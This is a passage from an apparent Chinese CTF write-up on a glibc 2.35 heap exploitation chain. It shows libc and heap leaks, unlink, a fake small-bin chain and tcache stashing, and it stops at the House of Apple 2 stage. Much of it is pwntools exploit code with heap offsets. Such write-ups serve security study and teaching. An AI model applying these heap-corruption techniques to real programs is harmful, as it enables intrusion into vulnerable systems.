&lt;p&gt;那么会带来什么问题呢？&lt;/p&gt;
&lt;p&gt;首先glibc 2.35已经限制了tcache bin内的chunk不能多malloc一次，也就是如果对应位置的count为0，就不会申请出来，这就否定了直接溢出修改fd导致任意地址申请的方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = malloc(0x40)
free(p)
p = malloc(0x80)
free(p)
p = malloc(0x40) // 重新申请回上述的0x40块
read(0, p, 0x80) // 溢出写入到下方的0x80块的fd，并修改size改小
free(p)
p = malloc(0x80)
free(p) // 由于上文改小了size，那么这里释放的时候就不会进入0x90的管理
p = malloc(0x80) // 此时再次申请，如果低版本的tcache就可以申请出任意地址，但是2.35不行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;**上述的做法是行不通的！**上述操作之后，0x90管理的位置count已经为0了，所以下次malloc(0x80)就不会从0x90的tcache取出，无法达成任意地址申请&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231117232223970.png&quot; alt=&quot;image-20231117232223970&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是上述做法给了一个思路，我们可以通过多次free再次malloc 0x40就可以申请回来第一个堆块，并写入0x80长度，这个溢出很稳定，以及我们可以修改下一个堆块大小，使得绕过tcache多次申请0x90的堆块，那么现在我们需要修改tcachebin管理0x90的count值，使得可以任意地址申请。但是这个很难做到，怎么做呢？请读者继续往下看。&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;p&gt;如何泄露libc？如何泄露堆地址？&lt;/p&gt;
&lt;h2&gt;泄露Libc地址&lt;/h2&gt;
&lt;p&gt;首先我们需要使用House of orange的一个技巧，将Top Chunk的size改小，然后申请一个大的堆块就可以把，Top Chunk放入Unsorted bin内，之后利用溢出覆盖size就可以泄露libc地址了。&lt;/p&gt;
&lt;p&gt;但是这里有一个极大的问题！Top chunk需要对其0x1000，但是已有的堆+0x40或者0x80都不可能对齐0x1000，怎么办？&lt;/p&gt;
&lt;p&gt;这里需要提到在没有setbuf(stdin,0);的情况下，scanf的输入长文本，回调用malloc、realloc、free，其中如果scanf输入数据大小为0x1000，那么会产生一下调用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p = malloc(0x800);
p = realloc(p, 0x1000);
p = realloc(p, 0x2000);
free(p)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么我们就可以完成Top Chunk的攻击了，以下是泄露libc的exp，并修复损坏的size&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时堆块的布局如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118000114704.png&quot; alt=&quot;image-20231118000114704&quot; /&gt;&lt;/p&gt;
&lt;p&gt;为何下方有0x10的两个块呢？那就需要了解一下unsortedbin的检查&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;_int_malloc&lt;/code&gt;中有这么一串代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while ((victim = unsorted_chunks (av)-&amp;gt;bk) != unsorted_chunks (av))
        {
          bck = victim-&amp;gt;bk;
          size = chunksize (victim);
          mchunkptr next = chunk_at_offset (victim, size);

          if (__glibc_unlikely (size &amp;lt;= CHUNK_HDR_SZ)
              || __glibc_unlikely (size &amp;gt; av-&amp;gt;system_mem))
            malloc_printerr (&quot;malloc(): invalid size (unsorted)&quot;);
          if (__glibc_unlikely (chunksize_nomask (next) &amp;lt; CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) &amp;gt; av-&amp;gt;system_mem))
            malloc_printerr (&quot;malloc(): invalid next size (unsorted)&quot;);
          if (__glibc_unlikely ((prev_size (next) &amp;amp; ~(SIZE_BITS)) != size))
            malloc_printerr (&quot;malloc(): mismatching next-&amp;gt;prev_size (unsorted)&quot;);
          if (__glibc_unlikely (bck-&amp;gt;fd != victim)
              || __glibc_unlikely (victim-&amp;gt;fd != unsorted_chunks (av)))
            malloc_printerr (&quot;malloc(): unsorted double linked list corrupted&quot;);
          if (__glibc_unlikely (prev_inuse (next)))
            malloc_printerr (&quot;malloc(): invalid next-&amp;gt;prev_inuse (unsorted)&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总结一下就是&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;检查当前unsorted bin内的块&lt;code&gt;size&lt;/code&gt;位是不是合法的，是否满足&lt;code&gt;0x10 &amp;lt;= size &amp;lt;= system_mem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;检查当前块下物理地址相邻的下一块&lt;code&gt;size&lt;/code&gt;是不是合法的，是否满足&lt;code&gt;0x10 &amp;lt;= size &amp;lt;= system_mem&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;检查物理地址相邻的下一块&lt;code&gt;size&lt;/code&gt;的&lt;code&gt;prev_size&lt;/code&gt;是否和自己的&lt;code&gt;size&lt;/code&gt;相等&lt;/li&gt;
&lt;li&gt;检查当前指针的&lt;code&gt;bck-&amp;gt;fd&lt;/code&gt;是否等于自己，以及自己的&lt;code&gt;fd&lt;/code&gt;是否是&lt;code&gt;main_arena&lt;/code&gt;内的一个特定地址&lt;/li&gt;
&lt;li&gt;最后检查物理地址相邻的下一块的&lt;code&gt;prev_inuse&lt;/code&gt;是不是&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;那么如果正常逻辑下Top Chunk被free到unsorted bin，说明当前内存应该全部分配完了，如果原封不动直接放到unsorted bin内，就会触发上述第2、3、5的检查不合法或者溢出，所以为了防止这个事情发生，就需要在下方设置两个小哨兵块，A块的作用是满足上述第2、3、5的检查，设置prev_size等关键数据，而&lt;strong&gt;B块的作用是防止A块发生unlink合并&lt;/strong&gt;，B块的&lt;code&gt;prev_inuse&lt;/code&gt;标志是1，代表A块是使用中，所以不会发生unlink，否则unlink会报错（试想一下，如果没有B块，那么A块没有被使用的，如果申请一个刚好大小为当前unsortbin的块，再释放，那么就会触发向前合并unlink，之后由于A块的fd和bk指针问题，导致程序crash）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118001409448.png&quot; alt=&quot;image-20231118001409448&quot; /&gt;&lt;/p&gt;
&lt;p&gt;到这里，我们压一下脑栈，上述的unsorted bin布局，后文会使用到，我们回到泄露上&lt;/p&gt;
&lt;h2&gt;泄露heap地址&lt;/h2&gt;
&lt;p&gt;泄露heap地址相对简单，直接free当前堆块后，由于tcache bin的fd指针具有&lt;code&gt;REVEAL_PTR&lt;/code&gt;的保护，所以Tcache bin的第一块由于fd是0，但是被加密之后会变成&lt;code&gt;0 ^ (heap_adde &amp;gt;&amp;gt; 12)&lt;/code&gt;的值，故可以直接泄露堆地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) &amp;gt;&amp;gt; 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&amp;amp;ptr, ptr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;泄露并修复的exp如下（当前exp衔接泄露libc的）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;... # 衔接上文泄露libc
free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
# 一下两行仅仅作为临时修复，使得堆布局好看一点，正式攻击可以删除
free()
add(1, b&quot;a&quot; * 0x40 + p64(0) + p64(0x91))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时heap地址、Libc地址信息已经收集完毕！我们来看看现在堆长什么样子&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118002652903.png&quot; alt=&quot;image-20231118002652903&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当前我们可控的堆块已经标注在图中，为啥叫做可控呢？因为由于tcache的原因，以及我们只能拥有一个堆块，所以free malloc交替进行我们只能控制这两个区域内存（？这两个区域内存我们应该如何做文章呢？请读者压一压脑栈继续往下看。）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118002710057.png&quot; alt=&quot;image-20231118002710057&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;利用攻击&lt;/h1&gt;
&lt;p&gt;信息收集终于结束了，堆也变成了不认识的样子，那么我们攻击的入口在哪里呢？&lt;/p&gt;
&lt;h2&gt;Small bin -&amp;gt; Tcache bin&lt;/h2&gt;
&lt;p&gt;答案是&lt;code&gt;Small bin&lt;/code&gt;！&lt;/p&gt;
&lt;p&gt;为何选用Small bin呢？阅读源码我们可以知道，Small bin是有机会进入Tcache的，什么时机进入呢？在malloc中如果命中了Small bin某个大小的管理，那么就会将这个大小内的剩下所有块依次取出，放入Tcache内，直至填满Tcache&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim-&amp;gt;bk;
	  if (__glibc_unlikely (bck-&amp;gt;fd != victim))
	    malloc_printerr (&quot;malloc(): smallbin double linked list corrupted&quot;);
          set_inuse_bit_at_offset (victim, nb);
          bin-&amp;gt;bk = bck;
          bck-&amp;gt;fd = bin;

          if (av != &amp;amp;main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we&apos;re here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache != NULL &amp;amp;&amp;amp; tc_idx &amp;lt; mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count
		     &amp;amp;&amp;amp; (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim-&amp;gt;bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &amp;amp;main_arena)
			set_non_main_arena (tc_victim);
		      bin-&amp;gt;bk = bck;
		      bck-&amp;gt;fd = bin;

		      tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是代码中的这个部分，下面代码中，bin就是当前small bin的位置，通过bk索引，反向查找，对于每一个Chunk依次解链，放入了Tcache bin中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while (tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count &amp;amp;&amp;amp; (tc_victim = last (bin)) != bin) {
      if (tc_victim != 0) {
          bck = tc_victim-&amp;gt;bk;
          set_inuse_bit_at_offset (tc_victim, nb);
          if (av != &amp;amp;main_arena)
            set_non_main_arena (tc_victim);
          bin-&amp;gt;bk = bck;
          bck-&amp;gt;fd = bin;
          
          tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标明确，那么命中small bin需要先绕过Tcache，也就是当前&lt;code&gt;Tcache[0x90]&lt;/code&gt;不能有free的堆块，以及需要一次&lt;code&gt;malloc(0x80)&lt;/code&gt;，那么我们伪造的small bin大小也需要是0x90&lt;/p&gt;
&lt;h2&gt;伪造Small bin（0x90）可行性讨论&lt;/h2&gt;
&lt;p&gt;如何伪造一个0x90大小的Small bin呢？进入Small bin可以从Unsorted bin进入，如何进入呢？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当前Unsorted bin中有一个0x90大小的堆块空闲&lt;/li&gt;
&lt;li&gt;malloc一次大于0x90大小的堆块&lt;code&gt;size &amp;gt;= 0x90 &amp;amp;&amp;amp; malloc(size)&lt;/code&gt;，且不能命中Tcache&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;条件2比较简单满足，依旧是scanf利用&lt;/p&gt;
&lt;p&gt;对于我们现在的堆块布局来说，我们仅仅只能控制0x90堆块size位（看上文的泄露后堆布局情况图片），这个位置能做什么文章呢？那么答案十分明朗：&lt;strong&gt;伪造Unsorted bin！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们先讨论一下，是否可行，我们能溢出可控空间为&lt;code&gt;0x80-0x40=0x40&lt;/code&gt;，这个0x40大小的空间包括了下一个堆块的&lt;code&gt;prev_size&lt;/code&gt;和&lt;code&gt;size&lt;/code&gt;位置，以及堆块内容部分。假设我们能修改上图中0x90堆块的size位置改大，并能成功free，那么就会进入unsorted bin中，&lt;strong&gt;如果此时构造我们无法完成两块小哨兵块的布置&lt;/strong&gt;，因为需要如下的布局&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     | prev_size |  size  |
     +--------------------+
0x00 |           |  0x50  |    
0x10 |           |        |    -- 可控起始位置
     +--------------------+   &amp;lt;- Unsorted bin
0x50 |           |  0x91  |
0x90 |           |        |    
0xD0 |           |        |    -- 可控终止位置
     +--------------------+
0xE0 |           |  0x10  |    -- Chunk A
     +--------------------+
0xF0 |           |  0x11  |    -- Chunk B
     +--------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（可控地址指的是，我们可以通过malloc(0x40)向后写0x80字节，以及malloc(0x80)也能写0x80字节，上面例子也就是总长度可控为&lt;code&gt;0x80*2-0x40=0xC0&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;但是可控空间完全不够布置下面的Chunk AB，要怎么办呢？我们需要可控多长呢？&lt;/p&gt;
&lt;p&gt;在绞尽脑汁几个小时之后，我注意到了我们貌似浪费了0x50堆块中的0x40长度的大小。怎么办呢？&lt;/p&gt;
&lt;h2&gt;Unlink扩展溢出距离&lt;/h2&gt;
&lt;p&gt;这里我们可以利用Unlink手法，使得Unsorted bin向前合并，首先我们构造如下的布局&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |    
0x10 | fd        |  bk        |    -- 可控起始位置
0x20 |           |  0x31      |
0x30 | fake fd   |  fake bk   |
     +------------------------+    
0x50 | 0x30      |  0x?0      |    -- 这里的prev_inuse设置为0
0x90 |           |            |    
0xD0 |           |            |    -- 可控终止位置
     +------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使得在free掉下方堆块的时候可以向后合并，这样子就可以完成溢出可控距离的扩展&lt;/p&gt;
&lt;p&gt;那么这个时候再来讨论一下可控长度，我们此时修改Unsorted bin内的布局，此时我们发现可控距离完全足够进行布局了！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;     | prev_size |  size      |
     +------------------------+
0x00 |           |  0x50      |    
0x10 | fd        |  bk        |    -- 可控起始位置
     +------------------------+
0x20 |           |  0x91      |    &amp;lt;- Unsorted bin  
0x90 |           |            |
     +------------------------+
0xB0 |           |  0x10      |    -- Chunk A
     +------------------------+
0xC0 |           |  0x11      |    -- Chunk B
     +------------------------+
0xD0 |           |            |    -- 可控终止位置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（仔细观察上面三个布局演示，可控起始和终止的偏移从未变化，仅仅通过Unlink之后利用率提高了）&lt;/p&gt;
&lt;p&gt;如何实现Unlink？&lt;/p&gt;
&lt;p&gt;只需要满足下面的条件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p-&amp;gt;fd = p;
p-&amp;gt;bk = p;
next(p)-&amp;gt;prev_inuse = 0;
next(p)-&amp;gt;prev_size = p-&amp;gt;size;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;绕过源码中，下面这个检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  mchunkptr fd = p-&amp;gt;fd;
  mchunkptr bk = p-&amp;gt;bk;
  if (__builtin_expect (fd-&amp;gt;bk != p || bk-&amp;gt;fd != p, 0))
    malloc_printerr (&quot;corrupted double-linked list&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是但是，现在还有一个问题，实现unlink攻击，需要free掉一个大的堆块进入Unsorted bin内，也就是说，我们需要修改原来0x90堆块的size改大，并需要满足free的Unsorted bin检查，也就是，尽量不要进入向前合并流程（因为我们本来可控的空间就只有上面的&lt;code&gt;[0x10,0xD0]&lt;/code&gt;），那么需要如何做呢？请读者再压下脑栈，马上就要串起来了，继续往下看！&lt;/p&gt;
&lt;h2&gt;伪造Unsorted bin&lt;/h2&gt;
&lt;p&gt;我们再次回顾一下当前的堆布局，可以看到当前unsorted bin下方有一个0x10和0x11的堆块，那么我们假设，如果有某种方法，使得0x90这个堆块覆盖成以下的红色框框圈起来呢？并且是否有方法让下方0x11堆块之后的prev_inuse变成1呢？（为何要为1，因为要防止合并）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118013645858.png&quot; alt=&quot;image-20231118013645858&quot; /&gt;&lt;/p&gt;
&lt;p&gt;什么时候能修改最下方堆块的内容呢？答案是还是&lt;code&gt;scanf&lt;/code&gt;！&lt;/p&gt;
&lt;p&gt;scanf的缓冲区会申请再堆内，那我如果缓冲区足够大是否能够刚好往0x11堆块的后面size内写入一些数据呢？写入多少呢？&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x33&lt;/code&gt;！！！因为这个ascii字符是&lt;code&gt;3&lt;/code&gt;，也就是选择free的菜单选项，什么时候写入呢？当然是最最最开始的时候，堆十分“干净”的时候啦&lt;/p&gt;
&lt;p&gt;那么经过测试，再所有操作之前输入0xd58个字符0以及一个字符3即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def free3(len):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;0&quot; * (len-1) + b&quot;3&quot;)

free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x40 + p64(0) + p64(0x91))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们再看看堆块长什么样子了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118014409013.png&quot; alt=&quot;image-20231118014409013&quot; /&gt;&lt;/p&gt;
&lt;p&gt;WoW！！成功污染！那么我们就能成功伪造Unsorted bin了，稍微微调以下代码可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free3(0xd59) 
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()
# 这里微调了0x90堆块的size位置，不再是修复而是伪造
add(1, b&quot;a&quot; * 0x40 + p64(0) + p64(0xd01))
free()
add(2, b&quot;aaaa&quot;)
free()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时我们可以看到unsorted bin内如愿以偿的放入了我们的Fake Chunk！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118014647807.png&quot; alt=&quot;image-20231118014647807&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Unlink攻击以及Smallbin伪造攻击实施&lt;/h2&gt;
&lt;p&gt;感谢你耐心看到这里，相信你现在脑栈已经快爆了，终于我们迎来了弹出脑栈的步骤了&lt;/p&gt;
&lt;p&gt;将上文的Unlink攻击实施，微调Exp可以得到如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free3(0xd59)
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()
# 这里修改了unlink攻击的内容
add(1, b&quot;a&quot; * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b&quot;a&quot; * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b&quot;aaaa&quot;)
free()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时堆块就不那么好看了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118015159589.png&quot; alt=&quot;image-20231118015159589&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如此查看我们可以发现unlink成功实施了，Unsorted bin内第一个堆块从0xd00变成了0xd30&lt;/p&gt;
&lt;p&gt;那么继续我们将伪造Small bin的攻击实施，再次微调Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free3(0xd59)
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b&quot;a&quot; * 0x10 + p64(0x30) + p64(0xd00))
free()
# 这次微调了这里，加入了上文提到的Chunk AB的布置
add(2, b&quot;a&quot; * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
# 这里就开始修改Unsorted bin内容，使得在Unsorted bin内伪造一个Small bin大小的堆块
add(1, flat({
    0x10: 0,
    0x18: 0x91,
    0x20: heap_base + 0x380,
    0x28: libc_base + 0x219ce0,
}, filler=b&quot;\x00&quot;))
show2(0x1000) # 这里触发使得Unsorted bin进入Samll bin
free()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让我们再次检验堆块的结构！完美成功进入了Small bin！！！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118015627633.png&quot; alt=&quot;image-20231118015627633&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么接下来我们就要开始在Small bin里面伪造一条多个0x90的链条，使得再次malloc(0x80)命中small bin的时候，放入Tcache bin中&lt;/p&gt;
&lt;h2&gt;修改Small bin&lt;/h2&gt;
&lt;p&gt;首先我们需要知道我们能改动多长？0x80长度，然而除去tcache bin的fd和bk位置，仅剩下0x70长度可以可控，也就是说，我们需要在0x70的长度中尽可能多的伪造0x90堆块，并串起来&lt;/p&gt;
&lt;p&gt;我们仅仅只能伪造3个0x90的堆块，如何伪造？&lt;/p&gt;
&lt;p&gt;可以参考如下图的伪造方法，可以看到这里bk连线串成了一条链&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/houseofminho_smallbin.png&quot; alt=&quot;houseofminho_smallbin&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意红色Chunk位置的fd设置，需要绕过small bin中的检查（下面源码），而黄色的绿色的fd是否需要设置，留给读者们讨论&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	  if (__glibc_unlikely (bck-&amp;gt;fd != victim))
	    malloc_printerr (&quot;malloc(): smallbin double linked list corrupted&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么稍微微调一下exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free3(0xd59)
add(1, b&quot;a&quot; * 0x48 + p64(0xd11))
show2(0x1000)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
libc_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) - 0x219ce0
log.success(f&quot;libc_base : {libc_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x48 + p64(0xcf1))

free()
add(2, b&quot;a&quot;)
free()
add(1, b&quot;aaaa&quot;)
free()
add(2, b&quot;aaaa&quot;)
free()
add(1, b&quot;a&quot; * 0x50)
show()
io.recvuntil(b&quot;Data: &quot; + b&quot;a&quot; * 0x50)
heap_base = u64(io.recvuntil(b&quot;\n&quot;, drop=True).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_base : {heap_base:#x}&quot;)
free()
add(1, b&quot;a&quot; * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 +  b&quot;a&quot; * 0x10 + p64(0x30) + p64(0xd00))
free()
add(2, b&quot;a&quot; * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))
free()
add(1, flat({
    0x10: 0,
    0x18: 0x91,
    0x20: heap_base + 0x380,
    0x28: libc_base + 0x219ce0,
}, filler=b&quot;\x00&quot;))
show2(0x1000)
free()

# 这里加上了Small bin的伪造
add(1, flat({
    0x10 : {
            0x00: 0,
            0x08: 0x91,
            0x10: heap_base + 0x2c0,
            0x18: heap_base + 0x2c0 + 0x30,
            
            0x30: 0,
            0x38: 0x91,
            0x40: heap_base + 0x2c0,
            0x48: heap_base + 0x2c0 + 0x50,

            0x50: 0,
            0x58: 0x91,
            0x60: heap_base + 0x2c0 + 0x30,
            0x68: libc_base + 0x219d60
        }
    }
, filler=b&quot;\x00&quot;))
free()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时堆布局如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118021620888.png&quot; alt=&quot;image-20231118021620888&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到出现了错误，不过问题不大，源码时通过BK进行遍历的，在BK位置确实出现了3个Chunk&lt;/p&gt;
&lt;p&gt;此时我们就可以malloc(0x80)命中一次Small bin的0x90&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add(2, b&quot;aaaa&quot;)
free()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么此时堆块就会变成，下面这样！WoW，我们可以控制Tcache bin 0x90位置的fd指针！并且此时0x90位置的Count有3！！！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;houseofminho-wp/image-20231118022002073.png&quot; alt=&quot;image-20231118022002073&quot; /&gt;&lt;/p&gt;
&lt;p&gt;胜利的曙光就在眼前了，接下来是House of apple 2登场！&lt;/p&gt;
&lt;h2&gt;House of Apple 2&lt;/h2&gt;
